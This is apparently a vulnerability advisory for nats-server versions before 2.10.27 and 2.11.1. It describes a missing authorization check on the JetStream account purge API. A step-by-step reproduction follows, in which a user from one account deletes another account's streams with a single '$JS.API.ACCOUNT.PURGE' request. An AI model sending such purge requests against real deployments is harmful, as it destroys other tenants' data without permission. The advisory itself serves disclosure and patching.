Improper Authorization Affecting github.com/nats-io/nats-server/v2/server package, versions >=2.2.0 <2.10.27>=2.11.0-RC.1 <2.11.1

github.com/nats-io/nats-server/v2/server is an A simple, secure and performant communications system for digital systems, services and devices.

Affected versions of this package are vulnerable to Improper Authorization through the JS.API.ACCOUNT.PURGE process. An attacker can delete all data and configurations related to JetStream by sending a purge request without proper authorization checks.

Note:

This is only exploitable if the user has permissions to publish on $JS.> or >, which in many configurations, includes non-system account users with admin privileges.

$ nats-server --version
nats-server: v2.10.26

$ nats --version
0.1.6

$ cat nats-server.conf
listen: '0.0.0.0:4233'
jetstream: {
  store_dir: './tmp'
}
accounts: {
  '$SYS': {
    users: [{user: 'sys', password: 'sys'}]
  },
  'TEST': {
    jetstream: true,
    users: [{user: 'a', password: 'a'}]
  },
  'TEST2': {
    jetstream: true,
    users: [{user: 'b', password: 'b'}]
  }
}

$ nats-server -c ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233
...

# Authentication is effectively enabled by the server:
$ nats -s nats://localhost:4233 account info
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user sys --password wrong
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user a --password wrong
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user b --password wrong
nats: error: setup failed: nats: Authorization Violation

# Valid credentials work, and users properly matched to accounts:
$ nats -s nats://localhost:4233 account info --user sys --password sys
Account Information
                      User: sys
                   Account: $SYS
...

$ nats -s nats://localhost:4233 account info --user a --password a
Account Information
                           User: a
                        Account: TEST
...

$ nats -s nats://localhost:4233 account info --user b --password b
Account Information
                           User: b
                        Account: TEST2
...

# Add a stream and messages to account TEST (user 'a'):
$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults
Stream stream1 was created
...

$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 "msg {{Count}}"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"

# Messages are correctly persisted on account TEST, and not on TEST2:
$ nats -s nats://localhost:4233 --user a --password a stream ls
╭───────────────────────────────────────────────────────────────────────────────╮
│                                    Streams                                    │
├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name    │ Description │ Created             │ Messages │ Size  │ Last Message │
├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ stream1 │             │ 2025-03-02 11:48:49 │ 3        │ 111 B │ 46.01s       │
╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯

$ nats -s nats://localhost:4233 --user b --password b stream ls
No Streams defined

$ du -h tmp/jetstream
  0B	tmp/jetstream/TEST/streams/stream1/obs
8.0K	tmp/jetstream/TEST/streams/stream1/msgs
 16K	tmp/jetstream/TEST/streams/stream1
 16K	tmp/jetstream/TEST/streams
 16K	tmp/jetstream/TEST
 16K	tmp/jetstream

# User b (account TEST2) sends a PURGE command for account TEST (user a).
# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.
$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''
11:54:50 Sending request on "$JS.API.ACCOUNT.PURGE.TEST"
11:54:50 Received with rtt 1.528042ms
{"type":"io.nats.jetstream.api.v1.account_purge_response","initiated":true}

# From nats-server in response to the purge request:
[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)

# And indeed, the stream data is gone on account TEST:
$ du -h tmp/jetstream
  0B	tmp/jetstream

$ nats -s nats://localhost:4233 --user a --password a stream ls
No Streams defined

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